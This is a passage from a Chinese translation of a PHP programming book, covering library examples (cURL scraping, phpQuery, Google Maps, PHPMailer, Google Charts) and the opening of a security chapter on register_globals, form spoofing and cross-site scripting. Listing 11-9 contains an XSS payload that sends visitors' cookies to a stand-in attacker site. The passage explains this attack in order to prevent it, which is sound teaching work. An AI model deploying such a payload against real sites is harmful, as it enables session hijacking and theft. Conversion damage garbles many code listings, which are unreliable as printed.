phpQuery 包装了 DOMDocument,旨在成为服务器端 jQuery 符号的“端口”。因此,如果您已经了解 jQuery,那么这个库将很容易上手。关于 XML、DOM 和 jQuery 的更多信息可以在第十四章和第十五章中找到。
注意如果你收到消息
Fatal error: Call to undefined function curl_init()
,那么你需要安装或者启用cURL
扩展。如果您的系统中没有cURL
库,您可能需要下载它。
在php.ini
中添加或启用延长线:
`;windows:
extension=php_curl.dll
;linux:
extension=php_curl.so`
并重新启动您的 web 服务器
在清单 10-9 的中,我们将使用 cURL 从[www.nhl.com](http://www.nhl.com)
获取和输出数据。
清单 10-9。基本卷发用法
`<?php
error_reporting ( E_ALL ^ E_NOTICE );
$url = "http://www.nhl.com";
print fetchRawData ( $url );
function fetchRawData(\(url) {
\)ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $url );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); //return the output as a variable
curl_setopt ( $ch, CURLOPT_FAILONERROR, true ); //fail if error encountered
curl_setopt ( $ch, CURLOPT_FOLLOWLOCATION, true ); //allow redirects
curl_setopt ( $ch, CURLOPT_TIMEOUT, 10 ); //time out length
$data = curl_exec ( $ch );
if (! $data) {
echo "
cURL error:
\n";
echo "#" . curl_errno ( $ch ) . "
\n";
echo curl_error ( $ch ) . "
\n";
echo "Detailed information:";
var_dump ( curl_getinfo ( $ch ) );
die ();
}
curl_close ( $ch );
return $data;
}
?>`
在清单 10-9 中,我们用curl_init()
得到了一个 cURL 资源句柄。然后我们用curl_setopt
调用配置 cURL 设置。curl_exec
执行请求并返回结果。最后,我们检查结果是否为非空。如果是,那么我们使用curl_errno
、curl_error
和curl_getinfo
来排除故障。curl_getinfo
包含关于最后一个请求的信息。典型的错误如下所示:
`cURL error:
6
Could not resolve host: www.znhlz.com; Host not found`
cURL 是非常可配置的。其他一些选项包括:
curl_setopt( $ch, CURLOPT_POST, true ); //POST request curl_setopt( $ch, CURLOPT_POSTFIELDS, "key1=value1&key2=value2" );//POST key/value pairs curl_setop($ch, CURLOPT_USERPWD, "username:password" ); //for authenticated sites //some sites block requests that do not have the user agent sent curl_setopt( $ch, CURLOPT_USERAGENT, $userAgent );
如果我们不需要大量配置并且在php.ini,
中启用了file_get_contents
用法,那么清单 10-9 中的脚本可以简化为清单 10-10 。
清单 10-10。使用文件获取内容简化内容获取
`<?php
error_reporting(E_ALL ^ E_NOTICE);
$url = "http://www.nhl.com";
print fetchRawData( $url );
//our fetching function
function fetchRawData( \(url ) {
**\)data = file_get_contents($url);**
if( $data === false ) {
die("Error");
}
return $data;
}
?>`
在基于清单 10-9 的下一个脚本中,我们将解析特定的数据并显示结果。在这种情况下,我们将找到网页上的所有链接及其标题。参见清单 10-11 。
清单 10-11。使用 cURL、DOMDocument 和 DOMXPath 查找网页上的链接
`<?php
error_reporting ( E_ALL ^ E_NOTICE );
\(url = "http://www.nhl.com";
\)rawHTML = fetchRawData ( \(url );
\)parsedData = parseSpecificData ( $rawHTML );
displayData ( $parsedData );
//our fetching function
function fetchRawData(\(url) {
\)ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $url );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); //return the output as a variable
curl_setopt ( $ch, CURLOPT_FAILONERROR, true ); //fail if error encountered
curl_setopt ( $ch, CURLOPT_FOLLOWLOCATION, true ); //allow redirects
curl_setopt ( $ch, CURLOPT_TIMEOUT, 10 ); //time out length
$data = curl_exec ( $ch );
if (! $data) {
echo "
cURL error:
\n";
echo "#" . curl_errno ( $ch ) . "
\n";
echo curl_error ( $ch ) . "
\n";
echo "Detailed information:";
var_dump ( curl_getinfo ( $ch ) );
die ();
}
curl_close ( $ch );
return $data;
}
//our parsing function
function parseSpecificData(\(data) {
\)parsedData = array ();
//load into DOM
\(dom = new DOMDocument ();
@\)dom->loadHTML($data); //normally do not use error suppression!
$xpath = new DOMXPath ( \(dom );
\)links = \(xpath->query ( "/html/body//a" );
if (\)links) {
foreach ( $links as \(element ) {
\)nodes = \(element->childNodes;
\)link = $element->attributes->getNamedItem ( 'href' )->value;
foreach ( $nodes as \(node ) {
if (\)node instanceof DOMText) {
$parsedData [] = array ("title" => $node->nodeValue,
"href" => $link );
}
}
}
}
return $parsedData;
}
//our display function
function displayData(Array $data) {
foreach ( $data as \(link ) { //escape output
\)cleaned_title = htmlentities ( \(link ['title'], ENT_QUOTES, "UTF-8" );
\)cleaned_href = htmlentities ( $link ['href'], ENT_QUOTES, "UTF-8" );
echo "
" . $cleaned_title . "
\n";
echo $cleaned_href . "
}
}
?>`
在清单 10-11 的中,我们将原始数据加载到一个DOMDocument
对象中。然后我们调用loadHTML
并使用 PHP 的错误抑制操作符@
。
注意通常我们不使用错误抑制,因为它会妨碍调试。然而,在这种情况下,它隐藏了许多我们不关心的 DOMDocument 警告。
然后我们使用DOMXPath
来查找文档链接和相应的文本,并将它们存储到一个数组中。由于数据来自外部,我们不应该相信它。在将输出打印到屏幕上之前,我们对所有的值进行了转义。这是防止跨站脚本的最佳实践,这在第十一章:安全性中有所涉及。
以下是运行清单 10-11 的示例输出:
`TEAMS
http://www.nhl.com/ice/teams.htm#?nav-tms-main
Chicago Blackhawks
Columbus Blue Jackets
Detroit Red Wings
我们现在将展示 phpQuery 库如何允许我们使用类似于 jQuery 的选择器和符号(参见清单 10-12 )。这简化了我们的抓取脚本的解析步骤。您首先需要从[
code.google.com/p/phpquery/](http://code.google.com/p/phpquery/)
下载 phpQuery 库。
清单 10-12。使用 cURL 和 phpQuery 查找网页上的链接
`<?php
error_reporting ( E_ALL ^ E_NOTICE );
require_once ("phpquery/phpQuery/phpQuery.php");
\(url = "http://www.nhl.com";
\)rawHTML = fetchRawData ( \(url );
\)parsedData = parseSpecificData ( $rawHTML );
displayData ( $parsedData );
//our fetching function
function fetchRawData(\(url) {
\)ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $url );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); //return the output as a variable
curl_setopt ( $ch, CURLOPT_FAILONERROR, true ); //fail if error encountered
curl_setopt ( $ch, CURLOPT_FOLLOWLOCATION, true ); //allow redirects
curl_setopt ( \(ch, CURLOPT_TIMEOUT, 10 ); //time out length` ` \)data = curl_exec ( $ch );
if (! $data) {
echo "
cURL error:
\n";
echo "#" . curl_errno ( $ch ) . "
\n";
echo curl_error ( $ch ) . "
\n";
echo "Detailed information:";
var_dump ( curl_getinfo ( $ch ) );
die ();
}
curl_close ( $ch );
return $data;
}
//our parsing function
function parseSpecificData(\(data) {**
**\)parsedData = array ();
phpQuery::newDocumentHTML ( $data );
foreach ( pq ( "a" ) as \(link ) {**
**\)title = pq ( \(link )->text ();**
**if (\)title) {
$parsedData [] = array ("title" => $title,
"href" => pq ( $link )->attr ( 'href' ) );
}
}
return $parsedData;
}
//our display function
function displayData(Array $data) {
foreach ( $data as \(link ) { //escape output
\)cleaned_title = htmlentities ( \(link ['title'], ENT_QUOTES, "UTF-8" );
\)cleaned_href = htmlentities ( $link ['href'], ENT_QUOTES, "UTF-8" );
echo "
" . $cleaned_title . "
\n";
echo $cleaned_href . "
}
}
?>`
注意,从清单 10-11 到清单 10-12 ,只有我们的解析函数发生了变化。为了直接使用phpQuery
而不是DOMDocument
,我们称之为newDocumentHTML
方法:
phpQuery::newDocumentHTML($data);
这里不包括 phpQuery 库的全部内容。相反,我们将比较示例中使用的选择器的 XPath、phpQuery 和 jQuery 符号(表 10-1 )。
谷歌地图整合
为了使用 Google Maps,我们将使用位于[
code.google.com/p/php-google-map-api](http://code.google.com/p/php-google-map-api)
/的 php-google-map-api 库。当前版本 3.0 的直接下载包目前不可用。您需要使用 subversion 客户机来签出源代码,命令如下:
svn checkout http://php-google-map-api.googlecode.com/svn/trunk/
两个 svn 客户端分别是在tortoisesvn.net/downloads.html
可用的 tortoiseSVN 和在www.sliksvn.com/en/download
可用的 slik svn。
php-google-map-api 库正在积极开发,功能丰富。我们将定义一个样板模板,我们的示例脚本将输出到这个模板中(清单 10-13 )。
清单 10-13。我们的样板模板,gmap_template.php
`
getHeaderJS();
echo $gmap->getMapJS();
?>
printOnLoad();
echo $gmap->printMap();
echo $gmap->printSidebar();
?>
在我们的第一个例子中,我们将显示一个只有一个标记的 Google 地图。参见清单 10-14 。
清单 10-14。谷歌地图卫星图像,单一标记示例
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("php-google-map-api/GoogleMap.php");
require_once("php-google-map-api/JSMin.php");
\(gmap = new GoogleMapAPI();
\)gmap->addMarkerByAddress(
"Eiffel Tower, Paris, France",
"Eiffel Tower Title",
"Eiffel Tower Description" );
require_once('gmap_template.php');
?>`
正如你所看到的,用库显示谷歌地图非常容易。在清单 10-14 中,我们创建了一个新的GoogleMapAPI
对象并标记了一个地址。方法addMarkerByAddress
将标题和描述作为附加参数。结果如图图 10-6 所示。
图 10-6。标记艾菲尔铁塔的谷歌地图
在清单 10-15 的中,我们将展示一张地图,而不是卫星图像。我们还将设置默认缩放级别,并将交通路线显示为叠加图。结果如图 10-7 中所示。
清单 10-15。谷歌地图交通路线叠加示例
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("php-google-map-api/GoogleMap.php");
require_once("php-google-map-api/JSMin.php");
\(gmap = new GoogleMapAPI();
\)gmap->addMarkerByAddress( "New York, NY", "New York Traffic", "Traffic description here" );
\(gmap->setMapType( 'map' );**
**\)gmap->setZoomLevel( 15 );
$gmap->enableTrafficOverlay();
require_once('gmap_template.php');
?>`
图 10-7。谷歌地图显示纽约交通路线
对于最后一个例子,我们将在同一张地图上放置几个标记。我们还将把地图类型设置为地形。参见清单 10-16 ,其结果显示在图 10-8 中。
清单 10-16。谷歌地图地形,多个标记示例
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("php-google-map-api/GoogleMap.php");
require_once("php-google-map-api/JSMin.php");
\(gmap = new GoogleMapAPI();
**\)gmap->addMarkerByAddress( "Saskatoon, SK", "", "Home" );**
\(gmap->addMarkerByAddress( "Vancouver, BC", "", "West Coast" );**
**\)gmap->addMarkerByAddress( "Montreal, QC", "", "Hockey" );
\(gmap->addMarkerByAddress( "Playa del Carmen, Mexico", "", "Tropical vacation" );**
**\)gmap->setMapType( 'terrain' );
require_once('gmap_template.php');
?>`
图 10-8。谷歌地图显示地形和多个标记
电子邮件和短信
PHP 有一个内置函数mail
,用来发送电子邮件。然而,对于更复杂的服务器或电子邮件设置,外部库支持以更容易的面向对象方式创建邮件。PHPMailer 库让我们可以轻松地发送电子邮件和短信。PHPMailer 可以在http://sourceforge. net/projects/phpmailer/files/phpmailer%20for%20php5_6/
下载。
清单 10-17 显示了 PHPMailer 库的基本用法。
清单 10-17。基本邮件使用
`<?php
error_reporting(E_ALL);
require("phpmailer/class.phpmailer.php");
$mail = new PHPMailer(); //default is to use the PHP mail function
\(mail->From = "from@foobar.com"; \)mail->AddAddress( "to@foobar.net" );
\(mail->Subject = "PHPMailer Message"; \)mail->Body = "Hello World!\n I hope breakfast is not spam.";
if( $mail->Send() ) {
echo 'Message has been sent.';
} else {
echo 'Message was not sent because of error:
';
echo $mail->ErrorInfo;
}
?>`
注意如果您收到错误消息
“Could not instantiate mail function,”
,那么很可能是因为From
电子邮件地址在您发送邮件的服务器上无效。
接下来,我们将演示如何发送 HTML 格式的消息和附件(清单 10-18 )。
清单 10-18。发送带有附件的 HTML 格式的消息
`<?php
error_reporting(E_ALL);
require("phpmailer/class.phpmailer.php");
$mail = new PHPMailer(); //default is to use the PHP mail function
\(mail->From = "from@foobar.com";
\)mail->AddAddress( "to@foobar.net" );
$mail->Subject = "PHPMailer Message";
\(mail->IsHTML(); //tell PHPMailer that we are sending HTML** **\)mail->Body = "Hello World!
I hope breakfast is not spam.";
//fallback message in case their mail client does not accept HTML
\(mail->AltBody = "Hello World!\n I hope breakfast is not spam.";**
**//adding an attachment**
**\)mail->AddAttachment( "document.txt" );
if( $mail->Send() ) {
echo 'Message has been sent.';
} else {
echo 'Message was not sent because of error:
';
echo $mail->ErrorInfo;
}
?>`
在清单 10-19 中,我们将使用带认证的 SMTP 服务器。我们还将遍历一组电子邮件地址和名称来发送批量电子邮件。
清单 10-19。 PHPMailer 用 SMTP 发送批量邮件
`<?php
error_reporting(E_ALL);
require("phpmailer/class.phpmailer.php");
$mail = new PHPMailer();
\(mail->IsSMTP(); //using SMTP** **\)mail->Host = "smtp.example.com"; // SMTP server
//authenticate on the SMTP server
\(mail->SMTPAuth = true;**
**\)mail->Username = "brian";
$mail->Password = "briansPassword";
\(mail->From = "from@foobar.com"; \)mail->Subject = "PHPMailer Message";
$names = array(
array( "email" => "foobar1@a.com", "name" => "foo1" ),
array( "email" => "foobar2@b.com", "name" => "foo2" ),
array( "email" => "foobar3@c.com", "name" => "foo3" ),
array( "email" => "foobar4@d.com", "name" => "foo4" )
);
foreach ( $names as \(n ) {**
\)mail->AddAddress( \(n['email'] );**
\)mail->Body = "Hi {$n['name']}!\n Do you like my SMTP server?";
if( $mail->Send() ) {
echo 'Message has been sent.';
} else {
echo 'Message was not sent because of error:
';
echo \(mail->ErrorInfo;
}
\)mail->ClearAddresses();
}
?>`
在我们最后一个使用 PHPMailer 库的例子中,我们将发送一条短消息服务(SMS)消息。SMS 消息通常被称为文本消息或文本。要发送短信,我们需要知道收件人的电话号码和提供商。从提供商那里,我们需要知道 SMS 域。
清单 10-20。使用 PHPMailer 发送短信
`<?php
error_reporting(E_ALL);
require("phpmailer/class.phpmailer.php");
define( 'MAX_SMS_MESSAGE_SIZE', 140 );
$mail = new PHPMailer();
\(mail->IsSMTP();
\)mail->Host = "smtp.example.com";
\(mail->SMTPAuth = true;
\)mail->Username = "brian";
$mail->Password = "briansPassword";
\(mail->From = "from@foobar.com"; \)mail->Subject = "PHPMailer Message";
\(phone_number = "z+a 555 kfla555-@#1122";**
**\)clean_phone_number = filter_var( \(phone_number, FILTER_SANITIZE_NUMBER_INT );**
**//+555555-1122**
**\)cleaner_phone_number = str_replace( array( '+' , '-' ), '', $clean_phone_number );
//5555551122
$sms_domain = "@sms.fakeProvider.com";
//5555551122@fake.provider.com
$mail->AddAddress( $cleaner_phone_number . \(sms_domain );**
**\)mail->Body = "Hi recipient!\r\n here is a text";
if ( strlen( $mail->Body ) < MAX_SMS_MESSAGE_SIZE ) {
if ( $mail->Send() ) {
echo 'Message has been sent.';
} else {
echo 'Message was not sent because of error:
';
echo $mail->ErrorInfo;
}
} else {
echo "Your message is too long.";
}
?>`
在清单 10-20 中,我们首先确保我们的电话号码只包含数字。我们使用filter_var
去掉除了数字、加号和减号之外的所有字符。然后,我们使用str_replace
删除任何加号或减号。我们还定义了一个最大字符串长度,并确保我们的身体小于这个限制。我们将清除的电话号码与我们的 SMS 域连接起来,并将其用作发送 SMS 消息的地址。
注意大多数短信提供商要求号码长度为十位数,不带标点符号。这意味着该数字不包括国家代码。您可能希望添加验证,确认清除的数字长度为十位数。
gChartPHP:一个谷歌图表 API 包装器
Google Chart API 是一个非常容易使用的非常强大的库,可以生成动态图形和图表。gChartPHP 包装器以面向对象的方式抽象出 API 所需的精确语法。这使得它更容易使用,更不容易出错。有了 Chart API,Google 就可以生成图像,从而减轻服务器的负担。您可以在[
code.google.com/p/gchartphp/](http://code.google.com/p/gchartphp/)
下载 API 包装器。有关 Google Chart API 的更多信息,请访问[
code.google.com/apis/chart/](http://code.google.com/apis/chart/)
。
Google Chart API 可以生成以下类型的图表:折线图、条形图、饼图、地图、散点图、维恩图、雷达图、二维码图、google-o-meter、复合图、烛台图和 GraphViz 。我们将展示如何生成地图和蜡烛图。
地图就像谷歌分析中的地图。我们要标记的国家在两个颜色值的渐变范围之间着色。我们分配给一个国家的数据决定了该国接受的阴影级别。这有助于显示在我们绘制的统计数据中具有更大权重的国家或地区。参见清单 10-21 。
清单 10-21。显示部分欧洲国家的彩色地图
`<?php
error_reporting(E_ALL);
require_once ('GChartPhp/gChart.php');
$map = new gMapChart();
\(map->setZoomArea( 'europe' ); //geographic area
//italy, sweden, great britain, spain, finland
\)map->setStateCodes( array( 'IT', 'SE', 'GB', 'ES', 'FI') );
\(map->addDataSet( array( 50, 100, 24, 80, 65 ) ); //level of shading in gradient
\)map->setColors(
'E7E7E7', //default
array('0077FF', '000077') //gradient color range
);
echo "<img src="" . $map->getUrl() . "" />
Europe";
?>`
在清单 10-21 中,我们构造了一个**gMapChart**
对象并放大到欧洲。然后我们添加一些国家代码。这些缩写的列表可以在网上的[
en.wikipedia.org/wiki/ISO_3166-1_alpha-2](http://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
找到。我们为每个国家代码设置相应的数据。如果我们希望所有的国家都是相同的颜色,那么将所有的值设置为相等。接下来,我们设置颜色。我们的渐变范围从浅蓝绿色到深蓝色。最后,我们将 URL 直接输出到一个图像标签中。图 10-9 显示了用谷歌图表 API 生成的地图。
注意在执行
GET
请求时,我们受到查询长度的限制。Google Chart API 和包装器确实有发送POST
请求的方法。其中一种方法就是使用renderImage(true)
。
图 10-9。用谷歌海图 API 生成的地图
我们的第二个也是最后一个例子将展示如何制作蜡烛图。蜡烛图需要至少四个数据系列,通常用于描绘股票市场数据。参见图 10-10 。
图 10-10。烛台标记
在蜡烛线标记中,股票开盘和收盘之间的区域被称为“主体”或“真实主体”高低“灯芯”也被称为“影子”,显示一天中最高和最低的股票价格。清单 10-22 产生了一个烛台风格的图表。
清单 10-22。代码生成一个Candlestic
样式的图表
`<?php
error_reporting(E_ALL);
require_once ('GChartPhp/gChart.php');
$candlestick = new gLineChart( 400, 400 );
//the regular line graph of close prices
//32 pts
$candlestick->addDataSet(
array( 90, 70, 60, 65, 75, 85, 70, 75,
80, 70, 75, 85, 100, 105, 100, 95,
80, 70, 65, 35, 30, 45, 40, 50,
40, 40, 50, 60, 70, 75, 80, 75
));
//the candlestick markers. the close price is the same as our line graph
\(candlestick->addHiddenDataSet(
array( 100, 95, 80, 75, 85, 95, 90, 95,
90, 85, 85, 105, 110, 120, 110, 110,
105, 90, 75, 85, 45, 55, 50, 70,
55, 50, 55, 65, 80, 85, 90, 85
)); //high` `\)candlestick->addHiddenDataSet(
array( 80, 90, 70, 60, 65, 75, 85, 70,
75, 80, 70, 75, 85, 100, 105, 100,
95, 80, 70, 65, 35, 30, 45, 40,
50, 45, 40, 50, 60, 70, 75, 80
)); //open
\(candlestick->addHiddenDataSet(
array( 90, 70, 60, 65, 75, 85, 70, 75,
80, 70, 75, 85, 100, 105, 100, 95,
80, 70, 65, 35, 30, 45, 40, 50,
40, 40, 50, 60, 70, 75, 80, 75
)); //close
\)candlestick->addHiddenDataSet(
array( 65, 65, 50, 50, 55, 65, 65, 65,
70, 50, 65, 75, 80, 90, 90, 85,
60, 60, 55, 30, 25, 20, 30, 30,
30, 25, 30, 40, 50, 55, 55, 55
)); //low
\(candlestick->addValueMarkers(
'F', //line marker type is candlestick
'000000', //black color
1, //start with "high" data series
'1:', //do not show first marker
5 //marker width
);
\)candlestick->setVisibleAxes( array( 'x', 'y' ) ); //both x and y axis
\(candlestick->addAxisRange( 0, 0, 32 ); //x-axis
\)candlestick->addAxisRange( 1, 0, 110 ); //y-axis
echo "<img src="" . $candlestick->getUrl() . "" />
Stock market report";
?>`
在清单 10-22 中,我们构造了一个gLineChart
对象。然后,我们定义将用于烛台的线数据集和四个隐藏数据集。接下来,我们添加烛台标记。最后,我们设置一些轴信息并显示我们生成的图像。清单 10-22 的输出如图 10-11 中所示。
图 10-11。运行清单 10-22 输出一个股市蜡烛图
总结
在这一章中,我们展示了很多 PHP 库和它们的用法。通过这样做,我们展示了如何使用现有的解决方案是非常有益的。我们使用包装器来集成 Google Maps 和 Google Chart API。我们解析了 RSS 提要并搜集了网站数据。我们生成了 pdf、电子邮件和短信。
使用现有的库使我们能够在高层次上快速开发,抽象出低层次的细节。另一方面,我们无法控制第三方代码。我们必须相信它不是恶意的或错误的。
作为程序员,编写自己的库可能很有诱惑力,因为现有的选项缺少一些功能或者不符合您的标准。然而,这样做通常会浪费大量的时间和精力。通常,更好的办法是参与现有开源库的补丁、错误修复和特性请求。
十一、安全
在编写网页时,考虑安全性是非常重要的。攻击者会试图利用许多潜在的站点漏洞。一个好的 PHP 开发人员需要保持勤奋,并且了解最新的安全实践。在这一章中,我们将介绍一些强化我们网站的最佳实践和技术。
本章的一个关键思想是永远不要相信数据或用户的意图。我们需要过滤和转义的用户数据可能来自多个来源,比如 URL 查询字符串、表单数据、\(_COOKIES、\)_SESSION、$_SERVER 数组和 Ajax 请求。
我们还将讨论常见的攻击及其预防,包括以下主题:
- 通过输出转义防止跨站点脚本(XSS)
- 使用隐藏表单令牌防止跨站点请求伪造(CSRF)
- 通过不将会话 ID (SID)存储在 cookie 中并在每页开始时重新生成 SID 来防止会话固定
- 使用预准备语句和 PDO 预防 SQL 注入
- 使用筛选器扩展
我们还将讨论如何巩固我们的php.ini
和服务器设置,并涵盖密码散列强度。
永远不要相信数据
在电视连续剧《X 档案》中,福克斯·莫特说过一句名言:“不要相信任何人。”说到 web 编程,我们应该遵循这个建议。假设最坏的情况:所有数据都被污染了。Cookies、Ajax 请求、头和表单值(甚至使用 POST)都可能被欺骗或篡改。即使用户可以被完全信任,我们仍然希望确保表单字段被正确填写,并防止出现格式错误的数据。所以要过滤所有输入,转义所有输出。在本章的后面,我们将会看到一些新的 PHP 过滤函数,它们使得这个过程变得更加容易。
我们还将讨论如何配置php.ini
来提高安全性。然而,如果我们编写一个代码库供公众使用,那么我们不能确保最终开发者遵循了他们的php.ini
文件中的最佳实践。由于这个原因,我们应该总是防御性地编码,并假设php.ini
文件没有被收紧。
注册 _ 全局
最佳实践是始终初始化变量。这是针对当在php.ini
中打开register_globals
指令时可能出现的攻击的一种保护措施。启用register_globals
后,$_POST
和$_GET
变量被注册为脚本中的全局变量。如果在脚本中添加一个查询字符串,比如"?foobar=3"
,PHP 会在后台创建一个同名的全局变量:
$foobar = 3; //register_globals declares this global variable for you.
当register_globals
被启用并且 URL 被设置为[
foobar.com/login.php?is_admin=true](http://foobar.com/login.php?is_admin=true)
时,清单 11-1 中的脚本将总是被授予管理员权限。
清单 11-1。【login.php】绕过安全检查的 register _ globals】
`<?php
session_start();
//$is_admin = \(_GET['is_admin'] initialized by register globals //\)is_admin = true; current value passed in
if ( user_is_admin( \(_SESSION['user'] ) ) { //makes this check useless
\)is_admin = true;
}
if ( $is_admin ) { //will always be true
//give the user admin privileges
}
…
?>`
攻击者必须猜出$is_admin
变量的正确名称,攻击才会成功。或者,如果正在使用一个已知的库,攻击者可以通过研究 API 或库的完整源代码很容易地找到变量名。防止这种攻击的关键是初始化所有变量,如清单 11-2 所示。这确保了register_globals
不能覆盖现有的变量。
清单 11-2。启动变量以防止 register_globals 滥用
`<?php
//$is_admin = \(_GET['is_admin'] initialized by register globals
//\)is_admin = true; current value passed in
$is_admin = false; //defensively set to override
//initial value set by register globals
if ( user_is_admin( \(user ) ) {
\)is_admin = true;
}
if ( $is_admin ) { //this will only be true now
//if the user_is_admin function returns true
//give the user admin privileges
}
…
?>`
白名单和黑名单
我们不应该对include
或require
函数调用使用$_GET
或$_POST
值。这是因为文件名对我们来说是未知的。攻击者可能试图通过在文件名前加上类似"../../"
的字符串来绕过文档根限制。对于include
和require
调用中的变量,我们应该有一个可接受文件名的白名单,或者对文件名进行净化。
注意白名单是被批准的项目的列表。相反,黑名单是不允许的项目列表。白名单比黑名单更严格,因为它们明确规定了什么是被批准的。黑名单需要不断更新才能生效。
白名单的例子有可接受的电子邮件地址、域名或 HTML 标签。黑名单的示例包括不允许的电子邮件地址、域名或 HTML 标记。
清单 11-3 展示了如何接受可接受文件名的白名单。
清单 11-3。通过使用可接受文件名的白名单来限制包含文件
<?php //whitelist of allowed include filenames $allowed_includes = array( 'fish.php', 'dogs.php', 'cat.php' ); if ( isset( $_GET['animal']) ) { $animal = $_GET['animal']; $animal_file = $animal. '.php'; if( in_array( $animal_file, $allowed_includes ) ) { require_once($animal_file); } else { echo "Error: illegal animal file"; } } ?>
对于我们的脚本打开的文件,basename
函数可以帮助确保所包含的文件不会超出我们的文档根目录。
对于由用户提供并使用file_get_contents
检索的外部 URL,我们需要过滤文件名。我们可以使用parse_url
函数提取 URL 并删除查询字符串,或者使用FILTER_SANITIZE_URL
和FILTER_VALIDATE_URL
来确保一个合法的 URL。我们将在本章后面讨论使用过滤器。
表格数据
大多数读者都知道,用 HTTP GET 方法提交的表单域可以通过直接修改 URL 查询来修改。这通常是期望的行为。例如,[
stackoverflow.com](http://stackoverflow.com)
的搜索表单可以单独使用查询来提交。见清单 11-4 。
清单 11-4。通过直接修改 URL 查询来搜索stackoverflow.com
http://stackoverflow.com/search?q=php+xss
搜索表单的实际标记如清单 11-5 所示。
列表 11-5。查询表
`<form id="search" method="get" action="/search">
同样的搜索结果可以通过直接使用 HTTP 请求的 telnet 客户端获得,如清单 11-6 所示。
清单 11-6。 Telnet 命令发送一个 GET 请求
telnet stackoverflow.com 80 GET /search?q=php+xss HTTP/1.1 Host: stackoverflow.com
一个常见的误解是使用HTTP POST
方法的表单更安全。尽管不能通过 URL 查询直接修改,用户仍然可以通过 telnet 直接提交查询。如果前面的表单使用了POST
方法,<form id="search" method="post" action="/search">,
,我们仍然可以通过修改前面的 telnet 命令直接发送查询请求。
清单 11-7。 Telnet 命令发送一个 POST
请求
telnet stackoverflow.com 80 POST /search HTTP/1.1 Host: stackoverflow.com Content-Type: application/x-www-form-urlencoded Content-Length: 9 q=php+xss
正如您在清单 11-7 中看到的,实际的表单标记是不必要的。如果我们知道预期的 POST 变量的结构,我们可以在 POST 请求中发送它们。如果攻击者正在侦听网络流量,他们可以很容易地看到来回传递的表单内容。然后,他们可以尝试通过用有效值重新填充表单并提交来欺骗表单。消除表单欺骗的一种方法是检查隐藏的表单令牌是否已经由服务器随请求一起发送。这将在本章后面的“跨站点请求伪造(CSRF)”一节中介绍
注隐藏形式令牌被称为 nonce ,是曾经使用过的数的缩写。每个表单提交的令牌都是不同的,以防止未经授权的窃听者重新发送有效数据,比如密码。如果没有隐藏令牌,服务器将拒绝表单提交数据。
当表单数据包含非常敏感的信息时,比如银行的用户名和密码,那么应该使用安全套接字层(SSL)进行通信。SSL 防止窃听者监听网络流量。
\(_COOKIES,\)_SESSION 和$_SERVER
我们不能相信$_COOKIES
中的数据包含合法值,因为 cookie 数据存储在客户端,很容易被修改。Cookies 也容易受到跨站点脚本攻击,这一点我们将在本章后面讨论。出于这些原因,我们应该对任何敏感数据使用服务器端的$_SESSION
数据。尽管比 cookies 安全得多,但会话容易受到会话固定攻击。我们还将在本章的后面讨论防止会话固定。甚至连$_SERVER
这个变量也不应该完全相信。$_SERVER
变量是由服务器而不是 PHP 生成的。以HTTP_
开头的变量来自 HTTP 头,很容易被欺骗。
Ajax 请求
在第十五章中深入讨论的 Ajax 中,XMLHttpRequest
对象通常会发送一个X-Requested-With
头,如下所示:
<script type='text/javascript'> … xmlHttpRequest.setRequestHeader("X-Requested-With", "XMLHttpRequest"); … </script>
在 PHP 脚本中,确保请求来自 Ajax 的一个常用技术是使用以下命令检查这个头:
<?php … if ( strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest' ) { //then it was an ajax request } … ?>
然而,这个消息头可能是伪造的,所以这并不能保证发送了 Ajax 请求。
常见攻击
在本节中,我们将讨论两种最常见的攻击,XSS 和 CSRF,并展示如何防止它们。
同源政策
作为了解常见攻击的先决条件,我们需要讨论一下同源策略。同源策略是浏览器对客户端脚本(如 JavaScript)的安全实现。它使脚本只能访问相同协议、主机和端口上的功能和元素。如果其中任何一个不同,那么该脚本将无法访问外部脚本。一些攻击的发生是因为同源策略被非法规避以利用用户或网站。
注不幸的是,同源政策阻止了一些合法使用。例如,以下所有行为都是非法的:
不同协议
[
www.foobar.com](http://www.foobar.com)
[
www.foobar.com](https://www.foobar.com)
不同端口
[
www.foobar.com:80](http://www.foobar.com:80)
[
www.foobar.com:81](http://www.foobar.com:81)
不同子域
[
www.foobar.com](http://www.foobar.com)
[
foobar.com](http://foobar.com)
[
sub.foobar.com](http://sub.foobar.com)
在 HTML 5 中,postMessage
函数将支持类似这样的合法情况。目前,浏览器对该功能的支持有限。
跨站点脚本(XSS)
跨站点脚本(XSS)是一种将客户端脚本(如 JavaScript、Jscript 或 VBScript)注入网页的攻击。XSS 通过绕过同源策略来工作,并且只能在将数据输出到浏览器中时发生。因此,对所有输出的用户数据进行转义是非常重要的。
注转义输出是指删除或替换潜在危险的输出。根据上下文,这可以包括在引号前添加转义字符(“变成
\
”),用 HTML 实体、<
和>,
替换<
和>
符号,以及删除<script>
标签。
XSS 攻击利用了用户对网站的信任。XSS 攻击通常会偷饼干。植入的脚本从可信站点读取 document.cookie,然后将数据发送到恶意站点。对于 XSS,客户端脚本是敌人。一旦攻击者找到了在输出页面上注入非转义客户端脚本的方法,他们就赢得了这场众所周知的战斗。
XSS 袭击看起来像什么
用户可以输入 JavaScript(或另一个脚本)而不会在重新显示时被过滤和转义的任何地方都容易受到 XSS 的攻击。这通常发生在以下情况中:
- 评论或留言簿。
清单 11-8。一个不可避免的用户评论,当任何人访问该页面时会打开一个警告框
<script type="text/javascript">alert('XSS attack');</script>
或者
清单 11-9。一个不可避免的评论,它读取访问者的 Cookies 并将它们转移到攻击者的站点
<script type="text/javascript"> document.location = 'http://attackingSite.com/cookieGrabber.php?cookies=' + document.cookie </script>
- 重新显示时没有过滤和转义的 PHP 表单。这可以是登录、注册或搜索表单。
考虑一个使用$_POST
